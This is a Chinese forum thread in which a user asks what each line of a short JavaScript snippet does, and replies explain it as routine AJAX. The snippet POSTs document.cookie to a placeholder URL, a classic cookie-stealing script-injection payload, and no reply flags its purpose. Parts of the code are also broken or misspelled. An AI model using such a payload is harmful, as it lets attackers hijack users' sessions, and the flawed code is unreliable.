web 的问题
能不能帮我解释一下每一行的意思~~ 谢谢<script language="JavaScript">
var a=null;
if(window.HMLHttpRequest)
a=new XMLHttpRequest();
else if (window.ActiveXObject)
a=new ActiveXObject(Microsoft.XMLHTTP);
a.open("POST","网址",true);
a.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
a.send("string=" + document.cookie);
</script> --------------------编程问答-------------------- 创建xmlHttpRequest对象
因为每个浏览器标准不同。所以要尝试用多种方式创建。
http://www.w3school.com.cn/ajax/ajax_xmlhttprequest_create.asp --------------------编程问答--------------------
<script language="JavaScript">建议这样写 --------------------编程问答--------------------
var a=null;
if(.ActiveXObject)
a=new ActiveXObject(Microsoft.XMLHTTP);
else if (window.HMLHttpRequest)
a=new XMLHttpRequest();
a.open("POST","网址",true);
a.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
a.send("string=" + document.cookie);
</script>
<script language="JavaScript">
var a=null; //定义一个对象a
if(window.ActiveXObject) //如果浏览器支持ActiveXObject,一般指IE内核的.
a=new ActiveXObject(Microsoft.XMLHTTP); //a为实例化XMLHTTP.
else if (window.HMLHttpRequest) //如果浏览器支持HMLHttpRequest
a=new XMLHttpRequest(); //那么A对象为XMLHttpRequest的一个实例;
a.open("POST","网址",true); // 调用A对象的open()方法,提交方式为post,网址为XXX,异步方式
a.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//设置a对象的发送HTTP请求时的数据编码格式.上面为最常用的编码.如果要上传文件则需要另一种编码格式
a.send("string=" + document.cookie); //a对象提交的数据键名为string,值为document.cookie的值. 就好比表单数据.后台可以用Request.Form["string"](asp.net)或request.form("string")(asp) 来取值
</script>
补充:.NET技术 , ASP.NET